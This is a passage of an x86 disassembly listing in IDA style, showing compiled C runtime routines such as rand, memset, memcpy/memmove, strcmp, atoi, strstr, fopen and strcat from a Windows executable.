var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415527
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415534
; ---------------------------------------------------------------------------

loc_415527:				; CODE XREF: sub_4154E7+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_415534:				; CODE XREF: sub_4154E7+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4154E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415539	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401BD6+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_437D40, eax
		retn
sub_415539	endp


; =============== S U B	R O U T	I N E =======================================



sub_415543	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_437D40
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_437D40, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415543	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415570	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4155C3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4155B7
		neg	ecx
		and	ecx, 3
		jz	short loc_415599
		sub	edx, ecx

loc_415593:				; CODE XREF: sub_415570+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415593

loc_415599:				; CODE XREF: sub_415570+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4155B7
		rep stosd
		test	edx, edx
		jz	short loc_4155BD

loc_4155B7:				; CODE XREF: sub_415570+18j
					; sub_415570+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4155B7

loc_4155BD:				; CODE XREF: sub_415570+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4155C3:				; CODE XREF: sub_415570+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155D0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4155F0
		cmp	edi, eax
		jb	loc_415768

loc_4155F0:				; CODE XREF: sub_4155D0+16j
		test	edi, 3
		jnz	short loc_41560C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------

loc_41560C:				; CODE XREF: sub_4155D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415624
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41562C+4[eax*4]
; ---------------------------------------------------------------------------

loc_415624:				; CODE XREF: sub_4155D0+46j
		jmp	dword ptr loc_415728[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41562C:				; CODE XREF: sub_4155D0+31j
					; sub_4155D0+8Ej ...
		jmp	off_4156AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415640
		dd offset loc_41566C
		dd offset loc_415690
; ---------------------------------------------------------------------------

loc_415640:				; DATA XREF: sub_4155D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41566C:				; DATA XREF: sub_4155D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_415690:				; DATA XREF: sub_4155D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156AC	dd offset loc_41570F	; DATA XREF: sub_4155D0:loc_41562Cr
		dd offset loc_4156FC
		dd offset loc_4156F4
		dd offset loc_4156EC
		dd offset loc_4156E4
		dd offset loc_4156DC
		dd offset loc_4156D4
		dd offset loc_4156CC
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4156D4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4156DC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4156E4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4156EC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4156F4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4156FC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41570F:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0:off_4156ACo
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415718	dd offset loc_415728	; DATA XREF: sub_4155D0+35r
					; sub_4155D0+92r ...
		dd offset loc_415730
		dd offset loc_41573C
		dd offset loc_415750
; ---------------------------------------------------------------------------

loc_415728:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_415730:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41573C:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_415750:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_415768:				; CODE XREF: sub_4155D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41579C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_415790:				; CODE XREF: sub_4155D0+1B1j
					; sub_4155D0+208j ...
		neg	ecx
		jmp	off_415860[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41579C:				; CODE XREF: sub_4155D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4157B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4157B4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4157B4:				; CODE XREF: sub_4155D0+1D6j
					; DATA XREF: sub_4155D0+1DDr
		jmp	off_4158B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4157C7+1
		dd offset loc_4157E8
; ---------------------------------------------------------------------------
		adc	[eax+41h], bl

loc_4157C7:				; DATA XREF: sub_4155D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4157E8:				; DATA XREF: sub_4155D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415864
		dd offset loc_41586C
		dd offset loc_415874
		dd offset loc_41587C
		dd offset loc_415884
		dd offset loc_41588C
		dd offset loc_415894
off_415860	dd offset loc_4158A7	; DATA XREF: sub_4155D0+1C2r
; ---------------------------------------------------------------------------

loc_415864:				; DATA XREF: sub_4155D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41586C:				; DATA XREF: sub_4155D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_415874:				; DATA XREF: sub_4155D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41587C:				; DATA XREF: sub_4155D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_415884:				; DATA XREF: sub_4155D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41588C:				; DATA XREF: sub_4155D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_415894:				; DATA XREF: sub_4155D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4158A7:				; CODE XREF: sub_4155D0+1C2j
					; DATA XREF: sub_4155D0:off_415860o
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4158B0	dd offset loc_4158C0	; DATA XREF: sub_4155D0+1B7r
					; sub_4155D0:loc_4157B4r ...
		dd offset loc_4158C8
		dd offset loc_4158D8
		dd offset loc_4158EC
; ---------------------------------------------------------------------------

loc_4158C0:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4158C8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4158D8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4158EC:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4155D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41595C

loc_415920:				; CODE XREF: sub_415910+3Cj
					; sub_415910+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+3]
		jnz	short loc_415954
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415920
		mov	edi, edi

loc_415950:				; CODE XREF: sub_415910+18j
					; sub_415910+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_415954:				; CODE XREF: sub_415910+14j
					; sub_415910+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41595C:				; CODE XREF: sub_415910+Ej
		test	edx, 1
		jz	short loc_415978
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415954
		inc	ecx
		or	al, al
		jz	short loc_415950
		test	edx, 2
		jz	short loc_415920

loc_415978:				; CODE XREF: sub_415910+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		add	ecx, 2
		jmp	short loc_415920
sub_415910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4159A0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CA+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4159B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_4159B9:				; CODE XREF: sub_4159A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4159A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159D4	proc near		; CODE XREF: sub_415A5F+4p
					; sub_41E162+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_4159DC:				; CODE XREF: sub_4159D4+34j
		cmp	dword_437F9C, 1
		jle	short loc_4159F4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A03
; ---------------------------------------------------------------------------

loc_4159F4:				; CODE XREF: sub_4159D4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_437D90
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_415A03:				; CODE XREF: sub_4159D4+1Ej
		test	eax, eax
		jz	short loc_415A0A
		inc	edi
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------

loc_415A0A:				; CODE XREF: sub_4159D4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_415A1A
		cmp	esi, 2Bh
		jnz	short loc_415A1E

loc_415A1A:				; CODE XREF: sub_4159D4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_415A1E:				; CODE XREF: sub_4159D4+44j
		xor	ebx, ebx

loc_415A20:				; CODE XREF: sub_4159D4+7Bj
		cmp	dword_437F9C, 1
		jle	short loc_415A35
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A40
; ---------------------------------------------------------------------------

loc_415A35:				; CODE XREF: sub_4159D4+53j
		mov	eax, off_437D90
		mov	al, [eax+esi*2]
		and	eax, 4

loc_415A40:				; CODE XREF: sub_4159D4+5Fj
		test	eax, eax
		jz	short loc_415A51
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415A20
; ---------------------------------------------------------------------------

loc_415A51:				; CODE XREF: sub_4159D4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_415A5A
		neg	eax

loc_415A5A:				; CODE XREF: sub_4159D4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4159D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A5F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4159D4
		pop	ecx
		retn
sub_415A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A6A	proc near		; CODE XREF: sub_401447+318p
					; sub_401BD6+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415AA9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415AB6
; ---------------------------------------------------------------------------

loc_415AA9:				; CODE XREF: sub_415A6A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_415AB6:				; CODE XREF: sub_415A6A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415A6A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AC0	proc near		; CODE XREF: sub_401BD6+2D8p
					; sub_401BD6+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415B3A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415B27

loc_415AD8:				; CODE XREF: sub_415AC0+52j
					; sub_415AC0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jz	short loc_415AF4

loc_415AE9:				; CODE XREF: sub_415AC0+32j
		mov	al, [esi]
		inc	esi

loc_415AEC:				; CODE XREF: sub_415AC0+3Fj
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jnz	short loc_415AE9

loc_415AF4:				; CODE XREF: sub_415AC0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415AFA:				; CODE XREF: sub_415AC0+23j
					; sub_415AC0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415AEC
		lea	edi, [esi-1]

loc_415B04:				; CODE XREF: sub_415AC0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415B33
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415AD8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415B33
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415B04
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B27:				; CODE XREF: sub_415AC0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417086
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415AC0+49j
					; sub_415AC0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415B3A:				; CODE XREF: sub_415AC0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B40	proc near		; CODE XREF: sub_40211A+94p
					; sub_405A89+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415B55
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B8F
; ---------------------------------------------------------------------------

loc_415B55:				; CODE XREF: sub_415B40+Ej
		test	al, 83h
		jz	short loc_415B8D
		push	esi
		call	sub_4186E4
		push	esi
		mov	edi, eax
		call	sub_41867E
		push	dword ptr [esi+10h]
		call	sub_4185CB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B7B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B8D
; ---------------------------------------------------------------------------

loc_415B7B:				; CODE XREF: sub_415B40+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B8D
		push	eax
		call	sub_415E3D
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_415B8D:				; CODE XREF: sub_415B40+17j
					; sub_415B40+39j ...
		mov	eax, edi

loc_415B8F:				; CODE XREF: sub_415B40+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B96	proc near		; CODE XREF: sub_40211A+8Ep
					; sub_40CE55+2A01p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4187B6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D4C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418843
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B96	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BC8	proc near		; CODE XREF: sub_415BE8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4189F0
		test	eax, eax
		jnz	short loc_415BD2
		retn
; ---------------------------------------------------------------------------

loc_415BD2:				; CODE XREF: sub_415BC8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418880
		add	esp, 10h
		retn
sub_415BC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BE8	proc near		; CODE XREF: sub_40211A+54p
					; sub_405A89+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415BC8
		add	esp, 0Ch
		retn
sub_415BE8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C00	proc near		; CODE XREF: sub_405B23+2BFp
					; sub_4099AA+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C71
sub_415C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C10	proc near		; CODE XREF: sub_40211A+32p
					; sub_40211A+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415C2C

loc_415C1D:				; CODE XREF: sub_415C10+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415C5F
		test	ecx, 3
		jnz	short loc_415C1D

loc_415C2C:				; CODE XREF: sub_415C10+Bj
					; sub_415C10+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C2C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415C6E
		test	ah, ah
		jz	short loc_415C69
		test	eax, 0FF0000h
		jz	short loc_415C64
		test	eax, 0FF000000h
		jz	short loc_415C5F
		jmp	short loc_415C2C
; ---------------------------------------------------------------------------

loc_415C5F:				; CODE XREF: sub_415C10+12j
					; sub_415C10+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------

loc_415C64:				; CODE XREF: sub_415C10+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------

loc_415C69:				; CODE XREF: sub_415C10+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------

loc_415C6E:				; CODE XREF: sub_415C10+39j
		lea	edi, [ecx-4]

loc_415C71:				; CODE XREF: sub_415C00+5j
					; sub_415C10+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C96

loc_415C7D:				; CODE XREF: sub_415C10+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415CE8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C7D
		jmp	short loc_415C96
; ---------------------------------------------------------------------------

loc_415C91:				; CODE XREF: sub_415C10+9Ej
					; sub_415C10+B8j
		mov	[edi], edx
		add	edi, 4

loc_415C96:				; CODE XREF: sub_415C10+6Bj
					; sub_415C10+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C91
		test	dl, dl
		jz	short loc_415CE8
		test	dh, dh
		jz	short loc_415CDF
		test	edx, 0FF0000h
		jz	short loc_415CD2
		test	edx, 0FF000000h
		jz	short loc_415CCA
		jmp	short loc_415C91
; ---------------------------------------------------------------------------

loc_415CCA:				; CODE XREF: sub_415C10+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415CD2:				; CODE XREF: sub_415C10+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415CDF:				; CODE XREF: sub_415C10+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_415CE8:				; CODE XREF: sub_415C10+72j
					; sub_415C10+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CF0	proc near		; CODE XREF: sub_4021FB+1A7p
					; sub_4021FB:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415D10

loc_415CFC:				; CODE XREF: sub_415CF0+19j
